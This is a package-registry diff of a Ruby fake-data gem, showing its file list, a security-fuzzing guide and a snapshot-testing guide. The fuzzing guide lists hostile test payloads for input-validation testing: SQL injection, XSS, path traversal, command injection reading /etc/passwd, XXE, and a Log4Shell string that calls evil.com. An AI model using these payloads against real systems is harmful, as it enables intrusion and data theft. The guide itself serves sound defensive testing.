RubyGems - synthra - Versions diffs - 0.1.0 - Mend

synthra 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (302) hide show

checksums.yaml +7 -0
data/.rspec +4 -0
data/.rubocop.yml +40 -0
data/.yardopts +18 -0
data/ACCESS_DOCS.md +116 -0
data/ADVANCED_FEATURES_SUMMARY.md +245 -0
data/CHANGELOG.md +498 -0
data/CODE_OF_CONDUCT.md +122 -0
data/CONTRIBUTING.md +307 -0
data/DOCUMENTATION.md +204 -0
data/DOCUMENTATION_GUIDE.md +194 -0
data/LICENSE +22 -0
data/README.md +1458 -0
data/Rakefile +128 -0
data/benchmark/README.md +591 -0
data/benchmark/batch_generation.rb +63 -0
data/benchmark/engine_comparison.rb +295 -0
data/benchmark/single_record.rb +108 -0
data/benchmark/streaming.rb +74 -0
data/docs/ACTIVERECORD_INFERENCE.md +524 -0
data/docs/API_SERVER.md +278 -0
data/docs/CONFIG_FILE.md +315 -0
data/docs/DATA_CONTRACTS.md +312 -0
data/docs/ENHANCED_REPL.md +304 -0
data/docs/FACTORY_BOT.md +271 -0
data/docs/GITHUB_ACTION.md +420 -0
data/docs/GRAPHQL_EXPORT.md +303 -0
data/docs/GRAPHQL_FEDERATION.md +651 -0
data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
data/docs/LSP.md +189 -0
data/docs/MIGRATION_GENERATOR.md +547 -0
data/docs/MOCK_SERVER.md +280 -0
data/docs/NATIVE_ENGINE.md +298 -0
data/docs/OPENAPI_EXPORT.md +252 -0
data/docs/PERFORMANCE_MODE.md +228 -0
data/docs/PERSONAS.md +547 -0
data/docs/PROPERTY_TESTING.md +284 -0
data/docs/PROTOBUF_EXPORT.md +276 -0
data/docs/QUALITY_METRICS.md +555 -0
data/docs/QUICK_REFERENCE.md +88 -0
data/docs/RAILS_ENGINE.md +404 -0
data/docs/RAILS_INTEGRATION.md +454 -0
data/docs/README.md +175 -0
data/docs/REPL_QUICK_REFERENCE.md +149 -0
data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
data/docs/SCENARIOS.md +576 -0
data/docs/SECURITY_TESTING.md +318 -0
data/docs/SNAPSHOT_TESTING.md +308 -0
data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
data/docs/TERRAFORM_EXPORT.md +447 -0
data/docs/TIME_TRAVEL.md +507 -0
data/docs/USAGE_GUIDE.md +980 -0
data/docs/WEBHOOK_SIMULATOR.md +579 -0
data/docs/advanced_features.md +183 -0
data/docs/api_reference.md +153 -0
data/docs/behaviors.md +138 -0
data/docs/best_practices.md +191 -0
data/docs/dsl_reference.md +172 -0
data/docs/examples.md +162 -0
data/docs/generation_modes.md +125 -0
data/docs/getting_started.md +92 -0
data/docs/index.html +177 -0
data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
data/docs/troubleshooting.md +215 -0
data/docs/type_reference.md +224 -0
data/examples/hostile_mode_demo.rb +64 -0
data/exe/synthra +6 -0
data/ext/synthra_native/Cargo.lock +972 -0
data/ext/synthra_native/Cargo.toml +46 -0
data/ext/synthra_native/extconf.rb +41 -0
data/ext/synthra_native/src/generator.rs +397 -0
data/ext/synthra_native/src/lib.rs +229 -0
data/ext/synthra_native/src/types.rs +1485 -0
data/lib/generators/synthra/install_generator.rb +86 -0
data/lib/generators/synthra/templates/api_response.dsl +15 -0
data/lib/generators/synthra/templates/fake_data.rake +116 -0
data/lib/generators/synthra/templates/synthra.yml +31 -0
data/lib/generators/synthra/templates/synthra_support.rb +19 -0
data/lib/generators/synthra/templates/user.dsl +11 -0
data/lib/synthra/activerecord_inference.rb +394 -0
data/lib/synthra/api.rb +381 -0
data/lib/synthra/api_server.rb +718 -0
data/lib/synthra/behaviors/applicator.rb +165 -0
data/lib/synthra/behaviors/base.rb +155 -0
data/lib/synthra/behaviors/close_connection.rb +60 -0
data/lib/synthra/behaviors/deprecated.rb +100 -0
data/lib/synthra/behaviors/failure.rb +69 -0
data/lib/synthra/behaviors/latency.rb +103 -0
data/lib/synthra/behaviors/partial_data.rb +83 -0
data/lib/synthra/behaviors/randomize_order.rb +74 -0
data/lib/synthra/behaviors/registry.rb +238 -0
data/lib/synthra/behaviors/simulate_error.rb +79 -0
data/lib/synthra/cli/commands/base.rb +105 -0
data/lib/synthra/cli/commands/diff.rb +227 -0
data/lib/synthra/cli/commands/docs.rb +67 -0
data/lib/synthra/cli/commands/export.rb +150 -0
data/lib/synthra/cli/commands/generate.rb +72 -0
data/lib/synthra/cli/commands/import.rb +80 -0
data/lib/synthra/cli/commands/lint.rb +53 -0
data/lib/synthra/cli/commands/live.rb +57 -0
data/lib/synthra/cli/commands/seed.rb +99 -0
data/lib/synthra/cli/commands/validate.rb +28 -0
data/lib/synthra/cli.rb +2471 -0
data/lib/synthra/config_file.rb +129 -0
data/lib/synthra/configuration.rb +281 -0
data/lib/synthra/contracts_registry.rb +408 -0
data/lib/synthra/database_seeder.rb +268 -0
data/lib/synthra/deterministic_ids.rb +218 -0
data/lib/synthra/documentation_generator.rb +414 -0
data/lib/synthra/engine.rb +251 -0
data/lib/synthra/errors.rb +1169 -0
data/lib/synthra/export/base.rb +85 -0
data/lib/synthra/export/csv.rb +101 -0
data/lib/synthra/export/graphql.rb +266 -0
data/lib/synthra/export/graphql_federation.rb +377 -0
data/lib/synthra/export/graphviz.rb +258 -0
data/lib/synthra/export/javascript.rb +327 -0
data/lib/synthra/export/json_data.rb +61 -0
data/lib/synthra/export/json_schema.rb +290 -0
data/lib/synthra/export/openapi.rb +514 -0
data/lib/synthra/export/protobuf.rb +483 -0
data/lib/synthra/export/python.rb +560 -0
data/lib/synthra/export/sql.rb +381 -0
data/lib/synthra/export/sql_insert.rb +152 -0
data/lib/synthra/export/terraform.rb +501 -0
data/lib/synthra/export/type_mapping.rb +389 -0
data/lib/synthra/export/typescript.rb +300 -0
data/lib/synthra/export/xml_data.rb +104 -0
data/lib/synthra/export/yaml_data.rb +56 -0
data/lib/synthra/export.rb +404 -0
data/lib/synthra/factory_bot_integration.rb +157 -0
data/lib/synthra/field.rb +440 -0
data/lib/synthra/functions/registry.rb +104 -0
data/lib/synthra/generator/context.rb +372 -0
data/lib/synthra/generator/engine.rb +336 -0
data/lib/synthra/generator/faker_adapter.rb +425 -0
data/lib/synthra/generator/modes.rb +444 -0
data/lib/synthra/generator/resolver.rb +256 -0
data/lib/synthra/generator/rng.rb +273 -0
data/lib/synthra/generator/streamer.rb +63 -0
data/lib/synthra/generator/uniqueness.rb +118 -0
data/lib/synthra/initializer.rb +97 -0
data/lib/synthra/limits.rb +279 -0
data/lib/synthra/live_preview.rb +518 -0
data/lib/synthra/loader_config.rb +78 -0
data/lib/synthra/lsp/server.rb +689 -0
data/lib/synthra/migration_generator.rb +301 -0
data/lib/synthra/mixin.rb +174 -0
data/lib/synthra/mock_server.rb +458 -0
data/lib/synthra/native_engine.rb +304 -0
data/lib/synthra/openapi_importer.rb +228 -0
data/lib/synthra/output/json_formatter.rb +40 -0
data/lib/synthra/output/ndjson_formatter.rb +55 -0
data/lib/synthra/parser/ast.rb +1287 -0
data/lib/synthra/parser/lexer.rb +1152 -0
data/lib/synthra/parser/parser.rb +1664 -0
data/lib/synthra/parser/tokens.rb +461 -0
data/lib/synthra/performance_mode.rb +364 -0
data/lib/synthra/personas.rb +397 -0
data/lib/synthra/property_testing.rb +172 -0
data/lib/synthra/quality_metrics.rb +405 -0
data/lib/synthra/rails_test_helper.rb +248 -0
data/lib/synthra/registry.rb +533 -0
data/lib/synthra/relationships.rb +193 -0
data/lib/synthra/repl/enhanced_repl.rb +607 -0
data/lib/synthra/repl/formatter.rb +191 -0
data/lib/synthra/scenarios.rb +423 -0
data/lib/synthra/schema.rb +605 -0
data/lib/synthra/schema_inheritance.rb +104 -0
data/lib/synthra/schema_versioning.rb +212 -0
data/lib/synthra/snapshot_testing.rb +199 -0
data/lib/synthra/time_travel.rb +338 -0
data/lib/synthra/type_definitions.rb +274 -0
data/lib/synthra/types/address_location/addresses.rb +125 -0
data/lib/synthra/types/address_location/airports.rb +200 -0
data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
data/lib/synthra/types/address_location/locations.rb +406 -0
data/lib/synthra/types/base.rb +48 -0
data/lib/synthra/types/commerce_products/commerce.rb +119 -0
data/lib/synthra/types/commerce_products/companies.rb +71 -0
data/lib/synthra/types/commerce_products/construction.rb +126 -0
data/lib/synthra/types/commerce_products/products.rb +205 -0
data/lib/synthra/types/core/collections.rb +513 -0
data/lib/synthra/types/core/defaults.rb +76 -0
data/lib/synthra/types/core/enums.rb +102 -0
data/lib/synthra/types/core/identifiers.rb +445 -0
data/lib/synthra/types/core/primitives.rb +586 -0
data/lib/synthra/types/core/references.rb +466 -0
data/lib/synthra/types/core/sequences.rb +304 -0
data/lib/synthra/types/crypto/crypto.rb +162 -0
data/lib/synthra/types/date_time/dates.rb +387 -0
data/lib/synthra/types/finance_banking/banking.rb +424 -0
data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
data/lib/synthra/types/formula.rb +184 -0
data/lib/synthra/types/health_medical/medical.rb +150 -0
data/lib/synthra/types/hostile_payloads.rb +122 -0
data/lib/synthra/types/json_array.rb +51 -0
data/lib/synthra/types/media_entertainment/media.rb +62 -0
data/lib/synthra/types/naughty_string.rb +30 -0
data/lib/synthra/types/personal_names/chinese.rb +41 -0
data/lib/synthra/types/personal_names/identifiers.rb +187 -0
data/lib/synthra/types/personal_names/names.rb +246 -0
data/lib/synthra/types/personal_names/national_id.rb +89 -0
data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
data/lib/synthra/types/regex.rb +248 -0
data/lib/synthra/types/registry.rb +182 -0
data/lib/synthra/types/repeating_element.rb +50 -0
data/lib/synthra/types/scenario.rb +29 -0
data/lib/synthra/types/technology_internet/apps.rb +67 -0
data/lib/synthra/types/technology_internet/communication.rb +162 -0
data/lib/synthra/types/technology_internet/devices.rb +80 -0
data/lib/synthra/types/technology_internet/formats.rb +139 -0
data/lib/synthra/types/technology_internet/networking.rb +143 -0
data/lib/synthra/types/template.rb +92 -0
data/lib/synthra/types/text_content/business.rb +128 -0
data/lib/synthra/types/text_content/colors.rb +70 -0
data/lib/synthra/types/text_content/misc.rb +237 -0
data/lib/synthra/types/text_content/security.rb +130 -0
data/lib/synthra/types/text_content/text_generation.rb +532 -0
data/lib/synthra/types/travel/travel.rb +150 -0
data/lib/synthra/utils/string_distance.rb +133 -0
data/lib/synthra/validator/dsl_validator.rb +339 -0
data/lib/synthra/validator/path_validator.rb +615 -0
data/lib/synthra/version.rb +35 -0
data/lib/synthra/webhook_simulator.rb +341 -0
data/lib/synthra.rb +259 -0
data/schemas/address.dsl +16 -0
data/schemas/api_response.dsl +8 -0
data/schemas/error_payload.dsl +9 -0
data/schemas/order.dsl +10 -0
data/schemas/order_item.dsl +8 -0
data/schemas/payment.dsl +11 -0
data/schemas/social_post.dsl +13 -0
data/schemas/user.dsl +10 -0
data/scripts/batch_fix_all.rb +96 -0
data/scripts/delete_old_files.rb +32 -0
data/scripts/fix_all_grouped_files.rb +137 -0
data/scripts/fix_all_indentation.rb +48 -0
data/scripts/fix_all_syntax.rb +124 -0
data/scripts/fix_grouped_files.rb +184 -0
data/scripts/fix_syntax_errors.rb +108 -0
data/scripts/group_domain_types.rb +112 -0
data/scripts/group_domain_types_fixed.rb +150 -0
data/scripts/merge_domains_to_one_file.rb +68 -0
data/scripts/move_existing_types.rb +130 -0
data/scripts/split_grouped_types.rb +142 -0
data/tech_docs/README.md +134 -0
data/tech_docs/advanced/streaming.md +405 -0
data/tech_docs/advanced/thread_safety.md +253 -0
data/tech_docs/api/overview.md +485 -0
data/tech_docs/appendices/type_chart.md +193 -0
data/tech_docs/basic_concepts.md +383 -0
data/tech_docs/behaviors/overview.md +346 -0
data/tech_docs/dsl/complex_types.md +790 -0
data/tech_docs/dsl/core_types.md +464 -0
data/tech_docs/dsl/datetime_types.md +325 -0
data/tech_docs/dsl/field_modifiers.md +414 -0
data/tech_docs/dsl/grammar.md +431 -0
data/tech_docs/dsl/schema_definition.md +399 -0
data/tech_docs/export/README.md +276 -0
data/tech_docs/installation.md +273 -0
data/tech_docs/integration/ci_cd.md +707 -0
data/tech_docs/integration/ci_cd_guide.md +579 -0
data/tech_docs/integration/factory_bot.md +485 -0
data/tech_docs/integration/rails.md +630 -0
data/tech_docs/integration/rspec.md +449 -0
data/tech_docs/modes/overview.md +350 -0
data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
data/tech_docs/quick_start.md +256 -0
data/tech_docs/templates/README.md +805 -0
data/tech_docs/tutorials/advanced.md +371 -0
data/tech_docs/tutorials/getting_started.md +189 -0
data/tech_docs/tutorials/intermediate.md +231 -0
data/tech_docs/tutorials/template_gallery.md +569 -0
data/tech_example/01_basic_usage.rb +238 -0
data/tech_example/02_types_demo.rb +336 -0
data/tech_example/04_cli_usage.md +429 -0
data/tech_example/05_database_seeding.rb +283 -0
data/tech_example/07_rspec_integration.rb +359 -0
data/tech_example/10_custom_types.rb +387 -0
data/tech_example/12_behaviors.rb +372 -0
data/tech_example/13_twitter_dm_example.rb +120 -0
data/tech_example/14_exact_json_structure.rb +253 -0
data/tech_example/16_lsp_server.rb +56 -0
data/tech_example/17_property_testing.rb +92 -0
data/tech_example/18_enhanced_repl.rb +120 -0
data/tech_example/19_security_fuzzing.rb +145 -0
data/tech_example/NEW_FEATURES.md +169 -0
data/tech_example/README.md +118 -0
data/tech_example/schemas/api_response.dsl +123 -0
data/tech_example/schemas/ecommerce.dsl +121 -0
data/tech_example/schemas/twitter_dm.dsl +109 -0
data/tech_example/schemas/user.dsl +36 -0
data/vscode-extension/README.md +246 -0
data/vscode-extension/language-configuration.json +31 -0
data/vscode-extension/package.json +55 -0
data/vscode-extension/snippets/fakedatadsl.json +198 -0
data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
metadata +478 -0

data/docs/SECURITY_TESTING.md ADDED Viewed

@@ -0,0 +1,318 @@
+# Security Fuzzing (Hostile Mode)
+FakeDataDSL includes a `:hostile` generation mode for security testing, generating attack payloads designed to test API endpoints and validation logic.
+## Quick Start
+```ruby
+# Generate hostile data
+schema.generate(mode: :hostile)
+# CLI
+fake_data_dsl generate User --mode hostile
+```
+## Attack Vectors
+### SQL Injection
+```ruby
+# Generated payloads include:
+"' OR '1'='1"
+"'; DROP TABLE users;--"
+"' UNION SELECT * FROM users--"
+"1' OR '1'='1"
+"admin'--"
+```
+### XSS (Cross-Site Scripting)
+```ruby
+# Generated payloads include:
+"<script>alert(1)</script>"
+"<img src=x onerror=alert(1)>"
+"<svg onload=alert(1)>"
+"javascript:alert(1)"
+"<body onload=alert(1)>"
+```
+### Buffer Overflow
+```ruby
+# Generated payloads include:
+"A" * 1000      # 1KB
+"A" * 10000     # 10KB
+"A" * 100000    # 100KB
+"A" * 65536     # 64KB
+"\x00" * 1000   # Null bytes
+```
+### Unicode Attacks
+```ruby
+# Generated payloads include:
+"\u202E" + "evil" + "\u202D"  # RTL override
+"\uFEFF" + "text"              # BOM
+"\u200B" * 100                 # Zero-width spaces
+"Zalgo: H\u0301\u0302..."     # Zalgo text
+```
+### Path Traversal
+```ruby
+# Generated payloads include:
+"../../../etc/passwd"
+"..\\..\\..\\windows\\system32\\config\\sam"
+"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
+```
+### Command Injection
+```ruby
+# Generated payloads include:
+"; ls -la"
+"| cat /etc/passwd"
+"&& whoami"
+"`id`"
+"$(whoami)"
+```
+### LDAP Injection
+```ruby
+# Generated payloads include:
+"*)(uid=*))(|(uid=*"
+"*))%00"
+"*()|&"
+```
+### XXE Injection
+```ruby
+# Generated payloads include:
+'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xee SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>'
+```
+### Log4Shell
+```ruby
+# Generated payloads include:
+"${jndi:ldap://evil.com/a}"
+```
+## Usage Examples
+### API Endpoint Testing
+```ruby
+# Test API endpoint with hostile inputs
+schema = FakeDataDSL.load("schemas/user.dsl")
+hostile_data = schema.generate_many(1000, mode: :hostile)
+hostile_data.each do |payload|
+  response = post("/api/users", payload)
+  # Should reject hostile input
+  expect(response.status).to eq(400)
+  expect(response.body).not_to include("error")
+end
+```
+### Validation Testing
+```ruby
+# Test that validation rejects hostile input
+verify_property("User", count: 500, mode: :hostile) do |user_data|
+  user = User.new(user_data)
+  expect(user).not_to be_valid
+end
+```
+### SQL Injection Testing
+```ruby
+# Test SQL injection protection
+hostile_users = schema.generate_many(100, mode: :hostile)
+hostile_users.each do |user|
+  # Should escape SQL properly
+  User.create(user)
+  expect(User.count).to eq(1) # Only one user, not injected
+end
+```
+### XSS Testing
+```ruby
+# Test XSS protection
+hostile_data = schema.generate(mode: :hostile)
+# Should escape HTML
+rendered = render_user_profile(hostile_data)
+expect(rendered).not_to include("<script>")
+expect(rendered).to include("&lt;script&gt;") # Escaped
+```
+## Integration with Property Testing
+```ruby
+include FakeDataDSL::PropertyTesting
+RSpec.describe "User API Security" do
+  it "rejects hostile input" do
+    verify_property("User", count: 1000, mode: :hostile) do |user_data|
+      response = post("/api/users", user_data)
+      expect(response.status).to eq(400)
+    end
+  end
+end
+```
+## Custom Hostile Payloads
+You can extend hostile payloads by registering custom types:
+```ruby
+FakeDataDSL.register_type(:custom_attack) do |rng, context, args, mode|
+  if mode == :hostile
+    rng.sample([
+      "custom_attack_1",
+      "custom_attack_2"
+    ])
+  else
+    "normal_value"
+  end
+end
+```
+## Best Practices
+### 1. Use in Test Environment Only
+```ruby
+# Only enable hostile mode in test environment
+if Rails.env.test?
+  schema.generate(mode: :hostile)
+end
+```
+### 2. Test Validation Logic
+```ruby
+# Ensure validation rejects hostile input
+hostile_data = schema.generate(mode: :hostile)
+user = User.new(hostile_data)
+expect(user).not_to be_valid
+```
+### 3. Test API Endpoints
+```ruby
+# Test that APIs properly sanitize input
+hostile_data = schema.generate_many(100, mode: :hostile)
+hostile_data.each do |payload|
+  response = post("/api/users", payload)
+  expect(response.status).to eq(400)
+end
+```
+### 4. Combine with Other Modes
+```ruby
+# Test with mixed mode (includes hostile)
+schema.generate(mode: :mixed)
+# 80% random, 15% edge, 5% invalid (hostile included)
+```
+## Payload Library
+All hostile payloads are defined in `FakeDataDSL::HostilePayloads`:
+```ruby
+FakeDataDSL::HostilePayloads::SQL_INJECTION
+FakeDataDSL::HostilePayloads::XSS
+FakeDataDSL::HostilePayloads::BUFFER_OVERFLOW
+FakeDataDSL::HostilePayloads::UNICODE_ATTACKS
+FakeDataDSL::HostilePayloads::PATH_TRAVERSAL
+FakeDataDSL::HostilePayloads::COMMAND_INJECTION
+FakeDataDSL::HostilePayloads::LDAP_INJECTION
+FakeDataDSL::HostilePayloads::XXE_INJECTION
+FakeDataDSL::HostilePayloads::ALL  # All payloads combined
+```
+## Type-Specific Hostile Generation
+Some types have specialized hostile generation:
+### Text Type
+```ruby
+# Text fields generate random hostile payloads
+schema = FakeDataDSL.parse("User:\n  name: text")
+result = schema.generate(mode: :hostile)
+# result["name"] may contain SQL injection, XSS, etc.
+```
+### UUID Type
+```ruby
+# UUID fields generate malformed UUIDs
+schema = FakeDataDSL.parse("User:\n  id: uuid")
+result = schema.generate(mode: :hostile)
+# result["id"] may contain:
+# - "' OR '1'='1" (SQL injection attempt)
+# - "../../../etc/passwd" (Path traversal)
+# - "<script>alert('xss')</script>" (XSS)
+# - Malformed UUIDs
+```
+## CLI Usage
+```bash
+# Generate hostile data
+fake_data_dsl generate User --mode hostile
+# Generate multiple hostile records
+fake_data_dsl generate User --mode hostile --count 1000
+# Export hostile data for testing
+fake_data_dsl export User -f json -c 1000 --mode hostile -o hostile_test_data.json
+```
+## REPL Usage
+```bash
+fake_data_dsl repl
+> mode hostile
+✅ Mode set to hostile
+> gen User
+{
+  "id": "' OR '1'='1",
+  "name": "<script>alert(1)</script>",
+  "email": "'; DROP TABLE users;--"
+}
+> table User
+  ────────────────────┼───────────────────────────────
+  id                  │ "' OR '1'='1"
+  name                │ "<script>alert(1)</script>"
+  email               │ "'; DROP TABLE users;--"
+```
+## Security Considerations
+⚠️ **Warning**: Hostile mode generates actual attack payloads. Use only in:
+- Test environments
+- Isolated systems
+- Security testing scenarios
+Never use hostile mode in production or with real databases.
+## See Also
+- [Generation Modes](tech_docs/modes/overview.md)
+- [Property-Based Testing](docs/PROPERTY_TESTING.md)
+- [CLI Guide](tech_example/04_cli_usage.md)

data/docs/SNAPSHOT_TESTING.md ADDED Viewed

@@ -0,0 +1,308 @@
+# Snapshot Testing
+Snapshot testing ensures your schemas generate consistent, expected output. It's perfect for catching unintended schema changes in CI pipelines.
+## Quick Start
+### 1. Include the Module
+```ruby
+# spec/spec_helper.rb
+require 'fake_data_dsl/snapshot_testing'
+RSpec.configure do |config|
+  config.include FakeDataDSL::SnapshotTesting
+end
+```
+### 2. Write Snapshot Tests
+```ruby
+# spec/schemas/snapshots_spec.rb
+RSpec.describe "Schema Snapshots" do
+  let(:schema) { FakeDataDSL.load("schemas/user.dsl") }
+  it "generates stable output" do
+    expect_snapshot(schema, seed: 42)
+  end
+end
+```
+### 3. Run Tests
+```bash
+# First run creates snapshots
+bundle exec rspec spec/schemas/snapshots_spec.rb
+# Subsequent runs compare against snapshots
+bundle exec rspec spec/schemas/snapshots_spec.rb
+```
+## How It Works
+1. **First Run**: Generates data with a seed and saves it as a JSON snapshot
+2. **Subsequent Runs**: Generates data with the same seed and compares to the snapshot
+3. **On Mismatch**: Test fails, showing the difference
+## API Reference
+### `expect_snapshot(schema, seed:, update:)`
+Main method for snapshot testing.
+```ruby
+# Create or verify snapshot
+expect_snapshot(schema, seed: 42)
+# Force update snapshot (when changes are intentional)
+expect_snapshot(schema, seed: 42, update: true)
+```
+**Parameters:**
+- `schema` - The FakeDataDSL schema to test
+- `seed` - Random seed for deterministic generation (default: 42)
+- `update` - If true, update the snapshot file (default: false)
+### `match_snapshot(schema_name)`
+RSpec matcher for snapshot comparison.
+```ruby
+it "matches snapshot" do
+  data = schema.generate(seed: 42)
+  expect(data).to match_snapshot("user")
+end
+```
+### `SnapshotTesting.generate_all_snapshots(registry, seed:)`
+Generate snapshots for all schemas in a registry.
+```ruby
+registry = FakeDataDSL::Registry.new
+registry.load_dir("schemas/")
+FakeDataDSL::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
+# Creates: spec/snapshots/fake_data_dsl/user.json
+# Creates: spec/snapshots/fake_data_dsl/order.json
+# etc.
+```
+### `SnapshotTesting.verify_all_snapshots(registry, seed:)`
+Verify all snapshots match.
+```ruby
+mismatches = FakeDataDSL::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
+if mismatches.any?
+  puts "Mismatched schemas: #{mismatches.join(', ')}"
+  exit 1
+end
+```
+## Configuration
+### Snapshot Directory
+Default: `spec/snapshots/fake_data_dsl/`
+```ruby
+# Change snapshot directory
+FakeDataDSL::SnapshotTesting.snapshot_dir = "spec/fixtures/snapshots"
+```
+## Testing All Schemas
+### Dynamic Test Generation
+```ruby
+RSpec.describe "All Schema Snapshots" do
+  before(:all) do
+    FakeDataDSL.load_schemas("schemas/")
+  end
+  FakeDataDSL.each_schema do |schema|
+    it "#{schema.name} generates stable output" do
+      expect_snapshot(schema, seed: 42)
+    end
+  end
+end
+```
+### Bulk Verification
+```ruby
+RSpec.describe "Schema Stability" do
+  it "all schemas match their snapshots" do
+    registry = FakeDataDSL::Registry.new
+    registry.load_dir("schemas/")
+    mismatches = FakeDataDSL::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
+    expect(mismatches).to be_empty,
+      "Schemas with mismatched snapshots: #{mismatches.join(', ')}"
+  end
+end
+```
+## CI Integration
+### GitHub Actions
+```yaml
+# .github/workflows/schema-snapshots.yml
+name: Schema Snapshots
+on: [push, pull_request]
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      - uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: 3.2
+          bundler-cache: true
+      - name: Run snapshot tests
+        run: bundle exec rspec spec/schemas/snapshots_spec.rb
+```
+### GitLab CI
+```yaml
+# .gitlab-ci.yml
+schema-snapshots:
+  stage: test
+  script:
+    - bundle exec rspec spec/schemas/snapshots_spec.rb
+  only:
+    - merge_requests
+```
+## Updating Snapshots
+### When to Update
+Update snapshots when you intentionally change a schema:
+```ruby
+# In test file, temporarily set update: true
+expect_snapshot(schema, seed: 42, update: true)
+```
+### Batch Update
+```ruby
+# Create a rake task
+namespace :snapshots do
+  task :update do
+    require 'fake_data_dsl'
+    registry = FakeDataDSL::Registry.new
+    registry.load_dir("schemas/")
+    FakeDataDSL::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
+    puts "Snapshots updated!"
+  end
+end
+```
+```bash
+bundle exec rake snapshots:update
+```
+## Best Practices
+### 1. Use Consistent Seeds
+Always use the same seed for deterministic output:
+```ruby
+# Good: Consistent seed
+expect_snapshot(schema, seed: 42)
+# Bad: No seed (non-deterministic)
+expect_snapshot(schema)
+```
+### 2. Commit Snapshots to Git
+Snapshots should be version controlled:
+```bash
+git add spec/snapshots/
+git commit -m "Update schema snapshots"
+```
+### 3. Review Snapshot Changes
+Always review snapshot diffs in pull requests:
+```diff
+# spec/snapshots/fake_data_dsl/user.json
+{
+-  "email": "john@example.com",
++  "email": "john.doe@example.com",
+   "name": "John Doe"
+}
+```
+### 4. Separate Snapshot Tests
+Keep snapshot tests in their own files:
+```
+spec/
+├── schemas/
+│   └── snapshots_spec.rb    # Snapshot tests
+├── models/
+│   └── user_spec.rb         # Model tests
+└── snapshots/
+    └── fake_data_dsl/       # Snapshot files
+        ├── user.json
+        └── order.json
+```
+## Troubleshooting
+### Snapshot Mismatch
+```
+expected generated data to match snapshot for User
+```
+**Solutions:**
+1. If change is intentional: Update snapshot with `update: true`
+2. If change is unintentional: Fix the schema
+### Snapshot Not Found
+```
+snapshot not found: spec/snapshots/fake_data_dsl/user.json
+```
+**Solution:** Run tests with `update: true` to create initial snapshot.
+### Non-Deterministic Data
+Some types (like `now`) aren't deterministic even with seeds.
+**Solution:** Override non-deterministic fields:
+```ruby
+it "generates stable output" do
+  data = schema.generate(seed: 42, overrides: {
+    "created_at" => "2024-01-01T00:00:00Z"
+  })
+  expect(data).to match_snapshot("user")
+end
+```
+## See Also
+- [Factory Bot Integration](FACTORY_BOT.md)
+- [Property-Based Testing](PROPERTY_TESTING.md)
+- [CI/CD Integration](../tech_docs/integration/ci_cd_guide.md)